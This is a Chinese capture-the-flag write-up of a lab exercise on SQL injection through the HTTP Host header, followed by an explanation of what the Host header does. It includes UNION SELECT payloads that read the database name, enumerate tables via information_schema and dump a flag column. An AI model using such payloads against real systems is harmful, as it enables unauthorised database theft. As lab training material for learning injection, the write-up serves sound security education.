0x00.题目描述:
背景介绍
安全工程师"墨者"最近在练习MySQL头部注入漏洞,自己刚搭建好一个靶场环境PHP+MySQL。尽情的练习SQL注入吧。
实训目标
1、掌握SQL注入原理;
2、了解手工注入的方法
3、了解MySQL的数据结构;
4、了解HTTP头部注入;
解题方向
HTTP头部(HOST注入)
0x01.解题思路:
靶场环境:
主界面
墨者网页
手动检测注入点:
测试行数:
联合注入,首先测出是具体哪几行会出现在返回的网页中,可以看到是第2,3,4行会出现,接下来就是进行爆库。
一共4行
手工注入:
利用头部host注入点加联合注入,来进行爆库:
首先是爆数据库名:
payload:union select 1,2,database(),4%23。
response:pentesterlab(当前数据库名)。
爆数据库名
爆表名:
payload:union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'),4
爆数据库表名
爆列名:类似于表名(列名为id,flag)。
爆字段:
payload:union select 1,2,(select group_concat(flag) from flag),4
爆完字段后,再丢到主界面验证得到flag~
0x02.总结:
1.Host字段的作用
通常,我们一台服务器上不止有一个web程序,很多情况下都有几个web程序,也就是说这几个web程序共用一个ip地址。当我们配置基于端口的虚拟主机,这是没有什么问题的,不同的web程序可以通过不同的端口来判断。但是,当我们配置基于域名的虚拟主机时,几个web程序共用一个ip地址(这里我们假设为192.168.1.1)和一个端口(这里我们假设为80端口)。那么,当客户端请求都发到了服务器的80端口,服务器怎么判断这条请求是发送给哪个web程序的呢?这时候,host头出现了,host头指定了应该由哪个网站或是web应用程序来处理一个传入的HTTP请求。web服务器使用该头部的值来将请求分派到指定的网站或web应用程序之上。
2.实际中的意义貌似不大,host投注入一般是用来缓存污染和密码重置,基于host的sql注入方式实在少见。